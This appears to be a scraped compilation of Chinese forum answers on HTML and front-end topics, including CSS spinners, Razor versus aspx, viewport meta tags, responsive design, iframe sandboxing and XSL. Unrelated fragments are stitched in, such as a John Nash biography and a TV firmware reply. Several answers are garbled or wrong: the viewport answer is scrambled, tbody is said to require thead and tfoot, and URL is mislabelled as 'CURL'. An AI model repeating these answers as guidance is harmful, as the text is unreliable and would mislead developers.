html

链接到title.htm页面，？后面是get传值

未命名文件， 用DW新建html文件的时候，保存时没有给它命名，所以就是 Untitled的文件，可以删除的，

12css代码/#circle { background-color: rgba(0,0,0,0); border:5px solid rgba(10,10,10,0.9); opacity:.9; border-right:5px solid rgba(0,0,0,0); border-left:5px solid rgba(0,0,0,0); border-radius:50px; box-shadow: 0 0 35px #808080; z-index:1000; width:50px; height:50px; margin:0 auto; position:fixed; left:30px; bottom:30px; -moz-animation:spinPulse 1s infinite ease-in-out; -webkit-animation:spinPulse 1s infinite ease-in-out; -o-animation:spinPulse 1s infinite ease-in-out; -ms-animation:spinPulse 1s infinite ease-in-out;}#circle1 { background-color: rgba(0,0,0,0); border:5px solid rgba(20,20,20,0.9); opacity:.9; border-left:5px solid rgba(0,0,0,0); border-right:5px solid rgba(0,0,0,0); border-radius:50px; box-shadow: 0 0 15px #202020; z-index:1000; width:30px; height:30px; margin:0 auto; position:fixed; left:40px; bottom:40px; -moz-animation:spinoffPulse 1s infinite linear; -webkit-animation:spinoffPulse 1s infinite linear; -o-animation:spinoffPulse 1s infinite linear; -ms-animation:spinoffPulse 1s infinite linear;}@-moz-keyframes spinPulse { 0% { -moz-transform:rotate(160deg); opacity:0; box-shadow:0 0 1px #505050;} 50% { -moz-transform:rotate(145deg); opacity:1; } 100% { -moz-transform:rotate(-320deg); opacity:0; }}@-moz-keyframes spinoffPulse { 0% { -moz-transform:rotate(0deg); } 100% { -moz-transform:rotate(360deg); }}@-webkit-keyframes spinPulse { 0% { -webkit-transform:rotate(160deg); opacity:0; box-shadow:0 0 1px #505050; } 50% { -webkit-transform:rotate(145deg); opacity:1;} 100% { -webkit-transform:rotate(-320deg); opacity:0; }}@-webkit-keyframes spinoffPulse { 0% { -webkit-transform:rotate(0deg); } 100% { -webkit-transform:rotate(360deg); }}@-o-keyframes spinPulse { 0% { -o-transform:rotate(160deg); opacity:0; box-shadow:0 0 1px #505050; } 50% { -o-transform:rotate(145deg); opacity:1;} 100% { -o-transform:rotate(-320deg); opacity:0; }}@-o-keyframes spinoffPulse { 0% { -o-transform:rotate(0deg); } 100% { -o-transform:rotate(360deg); }}@-ms-keyframes spinPulse { 0% { -ms-transform:rotate(160deg); opacity:0; box-shadow:0 0 1px #505050; } 50% { -ms-transform:rotate(145deg); opacity:1;} 100% { -ms-transform:rotate(-320deg); opacity:0; }}@-ms-keyframes spinoffPulse { 0% { -ms-transform:rotate(0deg); } 100% { -ms-transform:rotate(360deg); }}1<div id="circle"></div><div id="circle1"></div>123456<script>jQuery(window).load(function() { jQuery("#circle").fadeOut(500); jQuery("#circle1").fadeOut(700);});</script>

seamless 属性属于逻辑属性。当设置该属性后，规定了 <iframe> 看上去像是包含文档的一部分（无边框或滚动条）。

可以在ppt中设置超链接，选择网页方式，然后输入浏览品链接地址，链接到浏览器就行，到时播放的时候，点击就可以打开浏览器

nav 是html5新增的标签，主要用于制作导航（ navigate）菜单。其实它本身是没有什么特殊性的，用div也一样可以，但它具有语义性，可以增加代码的可读性，如果一个html文档中全部是div标签，时间一长，别说是别人，就连编写者自己如果没加注释都可能分不清哪个是哪个了。而用了nav就不同了，啥时候一看，即使英文再差也大概知道它与导航有关。html5新增的那些标签如section、header、footer、article等基本上都是这个作用。

这是JavaScript的错误了。

①：PhoneGapPhoneGap恐怕是最老的一个框架了，相信很多人都已经听说过甚至使用过它，但是PhoneGap是基于开源的cordova商业版本。②：IonicIONIC是目前最有潜力的一款HTML5手机应用开发框架。通过SASS构建应用程序，它提供了很多UI组件来帮助开发者开发强大的应用。它使用JavaScriptMVVM框架和AngularJS来增强应用。提供数据的双向绑定，使用它成为Web和移动开发者的共同选择。③：MobileAngularUIMobileAngularUI是使用bootstrap3和AngularJS的响应式移动开发HTML5框架。MobileAngularUI的关键字有：Bootstrap3AngularJSBootstrap3Mobile组件，比如switches,overlays和sidebars，这些都是bootstrap中没有的。AngularJSmoles，比如angular-route,angular-touch和angular-animate响应式媒体查询是将bootstrap作为单独的文件，你只需要包含你所需要的东西。MobileAngularUIu并不包含任何jQuery依赖，你需要做的只是通过一些AngularJS指令创建友好的用户体验。④：IntelXDKIntelXDK是Inter开发的一款跨平台开发工具，我们可以很容易的通过IntelXDK开发应用，你需要做的只是下载他们的应用开发工具，有Linux、Windows和Mac版，它还提供了很多个开发框架，比如Twitterbootstrap,jQueryMobile和Topcoat.⑤：Titanium"sTitanium不同于其它框架的是，它是一个开源的框架。Titanium是混合式移动应用开发的一站式解决方案，你只需要下载Titaniumstudio就可以解决所有的事情，TitaniumSDK包含了很多手机平台的APIs和后端云服务。Titanium使用Alloy，Alloy是一个快速开发的手机应用MVC框架，模块式开发可以大大减小开发时间，提高代码复用。⑥：SenchaTouchSenchaTouch同样也是HTML5手机应用跨平台开发框架，运行iOS/Android/Blackberry。它已经诞生很多年了，现在已经成为很常用的混合式编程开发框架。SenchaTouch可以让你的WebApp看起来像NativeApp。美丽的用户界面组件和丰富的数据管理，全部基于最新的HTML5和CSS3的WEB标准，全面兼容Android和AppleiOS设备。⑦：KendoUITelerik"sKendoUI是一个强大的框架用于快速HTML5UI开发。基于最新的HTML5、CSS3和JavaScript标准。KendoUI包含了开发现代JavaScript开发所需要的所有一切，包括：强大的数据源，通用的拖拉（Drag-and-Drop）功能，模板，和UI控件。

<video width="320" height="240" controls="controls"> <source src="G:TDDOWNLOAD enzaijiongtutj01.mp4" type="video/mp4" >示例视频1</source> 您的浏览器不支持video标签 </video>

路径是admin.html，所以就得加admin.html，默认路径可以设置成index.html 就不用加了。也可以把admin.html设置成默认路径。

　　电影是美丽心灵　　摘取了第74届奥斯卡奖最佳影片奖，以及最佳导演、最佳改编剧本和最佳女配角4个奖项。影片主人公原型具有传奇经历：既是诺贝尔奖得主，更是一个身陷精神分裂症几十年的天才。　　纳什21岁写出成名论文，30岁起断断续续陷入精神分裂病痛，66岁获得诺贝尔经济学奖。　　纳什小时侯的学习成绩只能算中等：他四年级的数学分数是B减。小学老师经常向纳什父母抱怨，说纳什的数学有问题，因为他经常使用一些奇特的解题方法。而这种事情到了中学就更频繁地发生，老师往往要演算一黑板才能解决的难题，纳什只用几个简单漂亮的步骤就把问题解决了。　　纳什上了普林斯顿大学。普林斯顿当时已经成了全世界的数学中心，爱因斯坦等世界级大师云集于此。在普林斯顿，纳什喜欢独来独往，喜欢解决折磨其他同学的数学问题。因此，纳什被人们称为“孤独的天才”。　　纳什凭借论文“非合作游戏”获得数学博士学位。这篇论文作于1949年，当时他只有21岁。纳什的论文发展了数学家纽曼等人提出的游戏理论“博弈论”。纽曼的理论是，在纯竞争中，一方的所得是另一方的所失。但纳什研究的是也可能双赢的竞争，并提出了在广泛情形下这类竞争的可靠解决方法，即45年后使他摘取诺贝尔奖的“纳什平衡”方程。由此，纳什把博弈论转变为一种可以被经济学家用于分析商业竞争或贸易谈判的强有力工具。　　从1958年即他30岁起，纳什就陷入了一次又一次精神分裂症造成的痛苦之中，也正是在当年7月，他被美国《财富》杂志评选为美国最杰出的“新数学”新星。　　妻子阿丽西亚因为无法忍受在纳什的狂暴心态阴影下生活，向纳什提出离婚。而因为不忍看到病中的纳什凄惨的样子，阿丽西亚又回到纳什身边，但是他们没有复婚，这种同居关系一直持续到今天。在离婚前，纳什频频被送进精神病院，但阿丽西亚回到纳什身边后坚持不让纳什再进医院，她害怕药物和休克疗法会毁了纳什的头脑，毁了纳什的智慧。如果没有阿丽西亚的照顾，纳什也许不会再恢复到正常人的状态。纳什的一生充满了不幸，但他的故事最终有个快乐的结尾。在数学界，纳什是个奇才，即使患病多年他仍得到许多数学家的帮助；在医学界，纳什的恢复是个奇迹；在家中，纳什自恋但从来没有遭到阿丽西亚的抛弃。8年前获得诺贝尔奖，使一度被外界视为已经过世的纳什成为美国家喻户晓的人物。

kenji kawai - Seven Swords" Victory

https://blog.csdn.net/hql1024/article/details/102862576?utm_medium=distribute.wap_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-3.nonecase&depth_1-utm_source=distribute.wap_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-3.nonecase

vant的表单的label渲染html字段是可调用的，在模板中调用后会渲染成 HTML。假设视图函数通过 form 参数把 一个 NameForm 实例传入模板，在模板中可以生成一个简单的 HTML 表单，如下所示：<form method="POST"> {{ form.hidden_tag() }} {{ form.name.label }} {{ form.name() }} {{ form.submit() }}</form>注意，除了 name 和 submit 字段，这个表单还有个 form.hidden_tag() 元素。这个元素生成 一个隐藏的字段，供 Flask-WTF 的 CSRF 防护机制使用。当然，这种方式渲染出的表单还很简陋。调用字段时传入的任何关键字参数都将转换成字 段的 HTML 属性。例如，可以为字段指定 id 或 class 属性，然后为其定义 CSS 样式：

<!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml"><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title></title> <style type="text/css"> body { height: 100%; width: 100%; margin: 0; padding: 0; } #mask_box { display:block; } #mask_loading { background-color: #ccc; filter: alpha(opacity=20); -moz-opacity: 0.2; opacity: 0.2; position: absolute; height: 100%; width: 100%; } #loading_img { position: absolute; left: 50%; margin-left: -30px; top: 50%; margin-top: -13px; z-index: 1000; width: 61px; height: 25px; background: url(../Images/loading.gif) no-repeat; } </style></head><body> <div id="mask_box"> <div id="mask_loading"></div> <div id="loading_img"></div> </div></body></html>

Html.partial和RenderPartial的用法与区别Html.partial和RenderPartial都是输出html片段，区别在于Partial是将视图内容直接生成一个字符串并返回（相当于有个转义的过程），RenderPartial方法是直接输出至当前 HttpContext（因为是直接输出，所以性能好）。因此它们在视图中的使用方式是不同的：MVC2：输出到 HttpContext输出为string 直接到页面MVC3：@Html.Partial("BasicChart")@{Html.RenderPartial("BasicChart");}Html.partial和RenderPartial的其它三个重载很有用，第二个重载@{Html.RenderPartial("BasicChart",model);}用这个重载可以在部分视图里使用强类型，然后在主视图中使用第二个参数传model过去，而不用controller比如从list中传其中一项myClass过去第三个重载用来传ViewData同理，如：@{Html.RenderPartial("BasicChart",ViewData["myData"]);}示例：<div id="logindisplay"> @*@Html.Partial("_LogOnPartial")*@ @{ Html.RenderPartial("_LogOnPartial"); } </div>

Velocity.init(); VelocityContext context = new VelocityContext(); context.put("name", "yy"); BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(System.out)); Template template = Velocity.getTemplate("VelocityTest1.vm"); template.merge(context, writer); writer.flush(); writer.close();把System.out换成文件输出流，就生成html了。

在<、>前面加 \\ 斜杠！#noescape()$!{msg}#end 可以防止转译#esc_noesc(）这个方法， 可以执行Html

纯HTML，使用不到， 本身是需要java的

Velocity是可以在html中使用的，也是网页前端人员都要要熟悉的一种模版引擎；Velocity是一个基于java的模板引擎（template engine）。它允许任何人仅仅简单的使用模板语言（template language）来引用由java代码定义的对象。 当Velocity应用于web开发时，界面设计人员可以和java程序开发人员同步开发一个遵循MVC架构的web站点，也就是说，页面设计人员可以只关注页面的显示效果，而由java程序开发人员关注业务逻辑编码。Velocity将java代码从web页面中分离出来，这样为web站点的长期维护提供了便利，同时也为我们在JSP和PHP之外又提供了一种可选的方案。 Velocity的能力远不止web站点开发这个领域，例如，它可以从模板（template）产生SQL和PostScript、XML，它也可以被当作一个独立工具来产生源代码和报告，或者作为其他系统的集成组件使用。Velocity也可以为Turbine web开发架构提供模板服务（template service）。Velocity+Turbine提供一个模板服务的方式允许一个web应用以一个真正的MVC模型进行开发。Velocity使用，就是在这个模版内通过它现有语法和函数，然后在html中应用，一般我们结合具体的案例来使用Velocity，这里我举个简单的小例子：<td colspan="3" class="tdContent2">$!obj.getDealInfo().replaceAll(" ", "<br></td>Velocity就是通过这样来实现小的换行的。

你的问题和我一样。好像是软件版本问题，听康佳的人说是系统最近在升级，使用1.0.37版本的电视无法在线看。我后来改用1.0.33版本的正常，就是旧版本没有新版本好用

wml 是 wap浏览器解析格式；html是 PC浏览器解析格式

好方法。请采纳，谢谢！

VS也有bug，重启了还会有吗

cshtml 是 MVC3 之后新增的视图文件，跟原先的 aspx 很相似。区别主要在于二者的解释引擎不同。aspx 采用的是 WebForm Engine，而 cshtml 则是 Razor Rendering Engine。引擎的变化直接导致语法发生变化。aspx 中我们经常使用 <% test; %>这种，在 cshtml 中则改为 @{ test; } 这种更为简洁的写法。当然语法上的不同还有很多，题主可以专门去搜一下这方面资料。只能在 MVC3 或更高版本等支持 Razor 的框架里使用 cshtml。

cshtml 是 MVC3 之后新增的视图文件，跟原先的 aspx 很相似。区别主要在于二者的解释引擎不同。aspx 采用的是 WebForm Engine，而 cshtml 则是 Razor Rendering Engine。引擎的变化直接导致语法发生变化。aspx 中我们经常使用 <% test; %>这种，在 cshtml 中则改为 @{ test; } 这种更为简洁的写法。当然语法上的不同还有很多，题主可以专门去搜一下这方面资料。只能在 MVC3 或更高版本等支持 Razor 的框架里使用 cshtml。ASPX简介：ASPX文件是微软的在服务器端运行的动态网页文件，通过IIS解析执行后可以得到动态页面，是微软推出的一种新的网络编程方法，而不是ASP的简单升级，因为它的编程方法和ASP有很大的不同，他是在服务器端靠服务器编译执行的程序代码，ASP 使用脚本语言，每次请求的时候，服务器调用脚本解析引擎来解析执行其中的程序代码，而ASP.NET则可以使用多种语言编写，而且是全编译执行的，比ASP 快，而且，不仅仅是快的问题，有很多优点。.asp是asp的文件后缀名，.aspx是asp.net的文件后缀名。Razor简介：Razor是一种简单的编程语法，用于在网页中嵌入服务器端代码。Razor 语法基于 ASP.NET 框架，该框架是微软的 .NET 框架特别为 web 应用程序开发而设计的组成部分。Razor 语法赋予所有 ASP.NET 的能力，但是使用了简化过的语法，如果您是初学者，则更容易学习，如果您是专家，则更有利于提高生产力。Razor 网页可被描述为带有两种内容的 HTML 页面：HTML 内容和 Razor 代码。当服务器读取这种页面后，在将 HTML 页面发送到浏览器之前，会首先运行 Razor 代码。这些在服务器上执行的代码能够完成浏览器中无法完成的任务，比如访问服务器数据库。服务器代码能够在页面被发送到浏览器之前创建动态的 HTML 内容。从浏览器来看的话，由服务器代码生成的 HTML 与静态 HTML 内容没有区别。使用 Razor 语法的 ASP.NET 网页拥有特殊的文件扩展名 cshtml（使用 C# 的 Razor 语法）或者 vbhtml（使用 VB 的 Razor

var list=[]; 集合var obj={}; 对象obj.name=name;对象属性list.push(obj);对象加入集合

支持楼上的说法，正确的就是用DIV+CSS来定义位置，然后用JS来完成TAB切换功能。

background:url(图片路径) left center no-repeat;背景图片X轴居左，Y轴居中，并且不平铺。左对齐用align=“left” 或者可以用 style=“align：left“文字飘下用<marquee><body><TABLE><TBODY><TR><TD ><MARQUEE scrollAmount=3 direction=down behavior=alternate height=480><MARQUEE scrollAmount=3 behavior=alternate width=550><P align=center><FONT color=red size=6><B>这里写你想要写的文字</B></FONT></P></MARQUEE></MARQUEE></TD></TR></TBODY></TABLE>

替换掉吧replace <tbody> </tbody>

那应该是你最后一行少了td单元格，每一个tr中包含的<td>列数要一样多。

thead用来放标题之类的东西 tbody放数据本体 tfoot放表格的脚注之类……

不需要，都是按需添加删减的。

table下面包含tbody 在html中不需要编写tbody 但在js脚本中创建表格则需要编写 在html中tbody是程序自动生成的

tbody 表示 文本，要用tbody，就必须用thead和 tfoot,所以肯定有影响的了

祝你明白

留下你的扣扣，我给你发

Android 用到谷歌，iOS用到safari。现在基本兼容性没什么问题的，不用考虑内置浏览器了把。

首先你要在html页面头部加上下面的代码;viewport";content="，一些小的模块可以用固定尺寸;meta , name="。再就是css中要应用到媒体查询，不能不用固定尺寸。其次你要把页面中的宽度修改为百分比;width=device-width; ，也就是@media;initial-scale=1"。HTML(Hyper Text Mark-up Language )即超文本标记语言，是 WWW 的描述语言，由 Tim Berners-lee提出。设计 HTML 语言的目的是为了能把存放在一台电脑中的文本或图形与另一台电脑中的文本或图形方便地联系在一起，形成有机的整体，人们不用考虑具体信息是在当前电脑上还是在网络的其它电脑上。这样，你只要使用鼠标在某一文档中点取一个图标，Internet就会马上转到与此图标相关的内容上去，而这些信息可能存放在网络的另一台电脑中。 HTML文本是由 HTML命令组成的描述性文本，HTML 命令可以说明文字、 图形、动画、声音、表格、链接等。 HTML的结构包括头部 (Head)、主体 (Body) 两大部分。头部描述浏览器所需的信息，主体包含所要说明的具体内容。

webview适配html的方法是通过meta 标签指定屏幕的分辨率。比如常用写法如下：<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">特殊说明：这里表示 viewport 的宽度为匹配设备屏幕的宽度，且禁用缩放。涉及到两个概念：viewport 元素devicePixelRatio：设备上物理像素和设备独立像素(device-independent pixels (dips))的比例。由于 iphone 手机和 android 4.0 以上的手机支持修改 viewport 的 width 来改变页面的缩放情况，因此我们可以将 width 指定为页面设计的宽度，如此一来，你的页面正好充满 viewport 并全屏显示，而不会缩放。例如：<meta name="viewport" content="width=640px, user-scalable=no">但是对于 android 4.0 以下的手机，不支持设置 viewport 的 width，但是我们可以设置 Android 的另一参数target-densitydpi，从而达到相同的目的，计算 target-densitydpi 的公式如下：target-densitydpi = UI-width / device-width * window.devicePixelRatio * 160; //UI-width ：WebApp布局宽度 //device-width ：屏幕分辨率宽度最终的解决方法：<meta name="viewport" content="target-densitydpi=device-dpi, width=640px, user-scalable=no">$(function () { var DEFAULT_WIDTH = 640, // 页面的默认宽度 ua = navigator.userAgent.toLowerCase(), // 根据 user agent 的信息获取浏览器信息 deviceWidth = window.screen.width, // 设备的宽度 devicePixelRatio = window.devicePixelRatio || 1, // 物理像素和设备独立像素的比例，默认为1 targetDensitydpi; // Android4.0以下手机不支持viewport的width，需要设置target-densitydpi if (ua.indexOf("android") !== -1 && parseFloat(ua.slice(ua.indexOf("android")+8)) < 4) { targetDensitydpi = DEFAULT_WIDTH / deviceWidth * devicePixelRatio * 160; $("meta[name="viewport"]").attr("content", "target-densitydpi=" + targetDensitydpi + ", width=device-width, user-scalable=no"); } // TODO: 其他手机需要特殊处理的在下面});

如今移动互联网随着3G的普及，越来越火爆，更多需求跟随而来！APP应用市场和APP应用数量成倍成倍的增长！从而给移动互联网带来新的挑战！移动设备正超过桌面设备，成为访问互联网的最常见终端。于是，网页设计师不得不面对一个难题：如何才能在不同大小的设备上呈现同样的网页？手机的屏幕比较小，宽度通常在600像素以下；PC的屏幕宽度，一般都在1000像素以上（目前主流宽度是1366×768），有的还达到了2000像素。同样的内容，要在大小迥异的屏幕上，都呈现出满意的效果，并不是一件容易的事。很多网站的解决方法，是为不同的设备提供不同的网页，比如专门提供一个mobile版本，或者iPhone / iPad版本。这样做固然保证了效果，但是比较麻烦，同时要维护好几个版本，而且如果一个网站有多个portal（入口），会大大增加架构设计的复杂度。于是，很早就有人设想，能不能”一次设计，普遍适用”，让同一张网页自动适应不同大小的屏幕，根据屏幕宽度，自动调整布局（layout）？一、了解什么是”自适应网页设计”自从2010年，Ethan Marcotte提出了 “自适应网页设计”（Responsive Web Design）这个名词，指可以自动识别屏幕宽度、并做出相应调整的网页设计。他制作了一个 范例，里面是《福尔摩斯历险记》六个主人公的头像。如果屏幕宽度大于1300像素，则6张图片并排在一行。如果屏幕宽度在600像素到1300像素之间，则6张图片分成两行。如果屏幕宽度在400像素到600像素之间，则导航栏移到网页头部。如果屏幕宽度在400像素以下，则6张图片分成三行。mediaqueri.es上面有更多这样的例子。这里还有一个 测试小工具，可以在一张网页上，同时显示不同分辨率屏幕的测试效果，我推荐安装。二、需要允许网页宽度自动调整“自适应网页设计”到底是怎么做到的？其实并不难。首先，在网页代码的头部，加入一行 viewport元标签。viewport是网页默认的宽度和高度，上面这行代码的意思是，网页宽度默认等于屏幕宽度（width=device-width），原始缩放比例（initial-scale=1）为1.0，即网页初始大小占屏幕面积的100%。所有主流浏览器都支持这个设置，包括IE9。对于那些老式浏览器（主要是IE6、7、8），需要使用 css3-mediaqueries.js。三、在进行设计的时候不能使用绝对宽度由于网页会根据屏幕宽度调整布局，所以不能使用绝对宽度的布局，也不能使用具有绝对宽度的元素。这一条非常重要。具体说，CSS代码不能指定像素宽度：width:xxx px;只能指定百分比宽度：width: xx%;或者width:auto;四、相对大小的字体字体也不能使用绝对大小（px），而只能使用相对大小（em）。body {font: normal 100% Helvetica, Arial, sans-serif;}上面的代码指定，字体大小是页面默认大小的100%，即16像素。h1 {font-size: 1.5em;}然后，h1的大小是默认大小的1.5倍，即24像素（24/16=1.5）。small {font-size: 0.875em;}small元素的大小是默认大小的0.875倍，即14像素（14/16=0.875）。五、流动布局（fluid grid）或瀑布流“流动布局”的含义是，各个区块的位置都是浮动的，不是固定不变的。.main {float: right;width: 70%;}.leftBar {float: left;width: 25%;}float的好处是，如果宽度太小，放不下两个元素，后面的元素会自动滚动到前面元素的下方，不会在水平方向overflow（溢出），避免了水平滚动条的出现。另外，绝对定位（position: absolute）的使用，也要非常小心。六、选择性加载CSS“自适应网页设计”的核心，就是CSS3引入的 Media Query模块。它的意思就是，自动探测屏幕宽度，然后加载相应的CSS文件。上面的代码意思是，如果屏幕宽度小于400像素（max-device-width: 400px），就加载tinyScreen.css文件。如果屏幕宽度在400像素到600像素之间，则加载smallScreen.css文件。除了用html标签加载CSS文件，还可以在现有CSS文件中加载。@import url(“tinyScreen.css”) screen and (max-device-width: 400px);七、CSS的@media规则同一个CSS文件中，也可以根据不同的屏幕分辨率，选择应用不同的CSS规则。@media screen and (max-device-width: 400px) {.column {float: none;width:auto;}#sidebar {display:none;}}上面的代码意思是，如果屏幕宽度小于400像素，则column块取消浮动（float:none）、宽度自动调节（width:auto），sidebar块不显示（display:none）。八、图片的自适应（fluid image）除了布局和文本，”自适应网页设计”还必须实现图片的 自动缩放。这只要一行CSS代码：img { max-width: 100%;}这行代码对于大多数嵌入网页的视频也有效，所以可以写成：img, object { max-width: 100%;}老版本的IE不支持max-width，所以只好写成：img { width: 100%; }此外，windows平台缩放图片时，可能出现图像失真现象。这时，可以尝试使用IE的 专有命令：img { -ms-interpolation-mode: bicubic; }或者，Ethan Marcotte的 imgSizer.js。addLoadEvent(function() {var imgs = document.getElementByIdx_x(“content”).getElementsByTagName_r(“img”);imgSizer.collate(imgs);});不过，有条件的话，最好还是根据不同大小的屏幕，加载不同分辨率的图片。有 很多方法可以做到这一条，服务器端和客户端都可以实现。只要遵循这8条设计准则，我相信你们可以很快的设计出自适应的网页出来

一个常用的针对移动网页优化过的页面的 viewport meta 标签大致如下：<meta name="viewport" content="width=device-width, initial-scale=1.0">width：控制 viewport 的大小，可以指定的一个值，如果 600，或者特殊的值，如 device-width 为设备的宽度（单位为缩放为 100% 时的 CSS 的像素）。height：和 width 相对应，指定高度。initial-scale：初始缩放比例，也即是当页面第一次 load 的时候缩放比例。maximum-scale：允许用户缩放到的最大比例。minimum-scale：允许用户缩放到的最小比例。user-scalable：用户是否可以手动缩放。

我查了下viewport，有几个属性：width - viewport的宽度 height - viewport的高度initial-scale - 初始的缩放比例minimum-scale - 允许用户缩放到的最小比例maximum-scale - 允许用户缩放到的最大比例user-scalable - 用户是否可以手动缩放估计是本身页面尺寸就是那么大吧【本人还没开始接触手机WEB前端，请恕我见识短浅

<html><body><iframe src="demo.html"></iframe></body></html>这里iframe插入的html，比方说会执行一段JavaScript代码，又或者提交一个表单，，，如果你不想让它执行这些操作，就写：<iframe src="demo.html" sandbox=""> <!-- 空字符串表示尽可能多的拒绝执行权 -->如果单单允许执行js代码，也好写，<iframe src="demo.html" sandbox="allow-scripts">总而言之，iframe标签的sandbox属性，是用来限制执行权的。

v-model主要提供了两个功能，view层输入值影响data的属性值，data属性值发生改变会更新view层的数值变化。其核心就是，一方面modal层通过defineProperty来劫持每个属性，一旦监听到变化通过相关的页面元素更新。另一方面通过编译模板文件，为控件的v-model绑定input事件，从而页面输入能实时更新相关data属性值。v-model是什么v-model就是vue的双向绑定的指令，能将页面上控件输入的值同步更新到相关绑定的data属性，也会在更新data绑定属性时候，更新页面上输入控件的值。

html是超文本标记语言的缩写，tcp/ip是传输控制协议/internter协议的缩写，XML是Extensible Markup Language的简写，一种扩展性标识语言，oltp是联机事务处理系统的缩写,也称为面向交易的处理系统。http是超文本传输协议的缩写

你尝试这样设置下Window-->Preferences-->General-->Editors-->File Associations 将xml文件的默认打开方式设置成IE之类的

首先你需要让电脑知道是哪个Prix，你需要给出Prix在哪。比如 /html/body/.../prix找到这个地址后 <xsl:value-of select="/html/body/.../prix"/>注意在html左边有一个/表示绝对路径。你也可以用相对路径，比如你的xsl代码写到了prix的上一级了，直接写<xsl:value-of select="prix"/>就行了。

使用一个简单的 XSL 样式表就可以将 XML 数据转换成 HTML。随着 XML 规范的不断演进，在新的版本中满足每个人的需要似乎已经成为必要；不幸的是，进行简单的转换一直都困扰着规范。假设我有一个表示一个页面内容的 XML　数据，现在我想将其内容转换成布局。下面是我想要转换的 XML：<?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="article.xsl"?> <xml> <folders> <folder> <text>Folder 1</text> <files> <file> <text>File 1</text> <fields> <field> <data> <type>string</type> <length>50</length> <value>some data</value> </data> </field> </fields> </file> </files> </folder> </folders> </xml>这个内容表示一组文件夹、文件和域。每个文件夹包含文件，每个文件包含用于输入数据的域。文件夹组中的每个文件夹都将表现为一个 TABLE 的第一行的一个 TR 元素和一个 TD 元素。文件组中的每个文件都将表示为嵌套在文件夹 TR 元素中的一个 TABLE 元素的第一行的一个 TR 元素和一个 TD 元素。域组中的每个域都将在相关的文件中表现为一个 INPUT。为了实现这一想法，我们需要将遍历 XML 然后根据XSL 构建一个表。下面是用于这个转换的 XSL：<?xml version="1.0"?> <xsl:stylesheet xmlns:xsl=" http://www.w3.org/1999/XSL/Transform" version="1.0" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:fn=" http://www.mycompany.com/mynamespace"> <xsl:output method="html"/> <msxsl:script language="JScript" implements-prefix="fn"> function getElementCount(nodelist, what) { var rtrn = 0; rtrn = nodelist[0].parentNode.selectNodes(what).length; return (rtrn + 1); //1 is added for filler TD } </msxsl:script> <xsl:template match="/"> <TABLE CELLSPACING="0" CELLPADDING="0" WIDTH="100%" BORDER="0" ID="tblRoot" NAME="tblRoot" style="table-layout:fixed;"> <TR> <xsl:for-each select="xml/folders/folder"> <xsl:element name="TD"> <xsl:attribute name="style">width:55px</xsl:attribute> <xsl:value-of select="text"/> </xsl:element> </xsl:for-each> <TD> </TD> </TR> <xsl:for-each select="xml/folders/folder"> <TR> <xsl:element name="TD"> <xsl:attribute name="colspan"> <xsl:value-of select="fn:getElementCount(., "folder")"/> </xsl:attribute> <TABLE CELLSPACING="0" CELLPADDING="0" WIDTH="100%" BORDER="0" style="table-layout:fixed;"> <TR> <xsl:for-each select="files/file"> <xsl:element name="TD"> <xsl:attribute name="style">width:55px;</xsl:attribute> <xsl:value-of select="text"/> </xsl:element> </xsl:for-each> <TD> </TD> </TR> <xsl:for-each select="files/file"> <TR> <xsl:element name="TD"> <xsl:attribute name="colspan"> <xsl:value-of select="fn:getElementCount(., "file")"/> </xsl:attribute> <xsl:for-each select="fields/field"> <xsl:element name="INPUT"> <xsl:attribute name="type">text</xsl:attribute> <xsl:attribute name="maxlength"> <xsl:value-of select="data/length"/> </xsl:attribute> <xsl:attribute name="value"> <xsl:value-of select="data/value"/> </xsl:attribute> </xsl:element><BR/> </xsl:for-each> </xsl:element> </TR> </xsl:for-each> </TABLE> </xsl:element> </TR> </xsl:for-each> </TABLE> </xsl:template> </xsl:stylesheet>在 stylesheet 标记中，我们设置了几个命名空间，包括定义所有 xsl 转换标记的 xsl 命名空间。能够让我们创建可以在样式表中使用的用户函数的msxml 命名空间。我使用它得到所有的子元素，以便得到一个 TD 标记的一个 COLSPAN 属性集。用于加入一组用户定义的函数的fn 命名空间，该命名空间由msxml:script element 创建。然后，我们创建外部 TABLE 和第一个 TR。在 TR 中，我为 XML 中指定的每个文件夹创建一个 TD。我使用了 xsl:element 标记，因为它允许我添加自定义属性或者执行一个函数来为另一个 TD 元素中的 COLSPAN 属性设置一个属性。在为每个文件夹创建了所需的 TD 之后，我开始为每个文件夹创建 TR。我只向这个 TR 添加一个 TD，但是我将它的 COLSPAN 属性设为等于文件夹组中文件夹标记的数量再加一。多出的一是用来在一个固定布局样式的 TABLE 中填充空格用的。为了得到 COLSPAN，我传入当前的上下文（在这里由“.”指定）和我想计算的节点的名字。在我的函数中，我得到当前的上下文，paraentNode，和 XPath 查询中指定的节点的数量。然后函数返回这个数量加上一以填充 TD。有了这个 TD，我在其中嵌入另外一个 TABLE，该 TABLE 包含文件组中的每个文件。从这一点开始，其过程就与外部 TABLE 转换一样。最后的步骤是添加每个文件中的域。这次我没有再创建嵌入的 TABLE，只是把这些域添加到当前的 TD 中。一旦我完成了通用布局，我就可以开始添加用户界面功能了，比如说隐藏掉其它的文件夹和文件行，直到用户点击了相关的选项卡。这一功能可以通过编写支持这一功能的脚本来实现，添加一个 onclick xsl:attribute 元素到文件夹和文件 TD 元素，然后将它的值设置为脚本函数的名字。最后，在通用功能完成之后，你可以添加class xsl:attributes 并在 STYLE 或 CSS 中添加相关的classNames 得到你想要的外观。这个例子为在部署 Web 数据解决方案中用到的 File-Folder-Field 视图创建了一个基础。访问 MSDN 找到更多有关Microsoft 的 XML 规范的信息。

【答案】：CURL（Uniform Resource Locator，统一资源定位符），用于定位网络上的资源，每一个信息资源都有统一的且在网上唯一的地址。protocol://hostname[:port]br /ath/filename。Protocol是指所使用的协议；Hostname是指主机名，也就是访问主机的域名；Port是指各种传输协议所使用的默认端口号，该选项是可选选项；Path是指路径，由一个或者多个“/”分隔，一般用来表示主机上的一个目录或者文件地址；filename是指文件名，即请求查看的文档名，该选项用于指定需要打开的文件名称，答案选C。

我也想知道啊~~~Mark一下

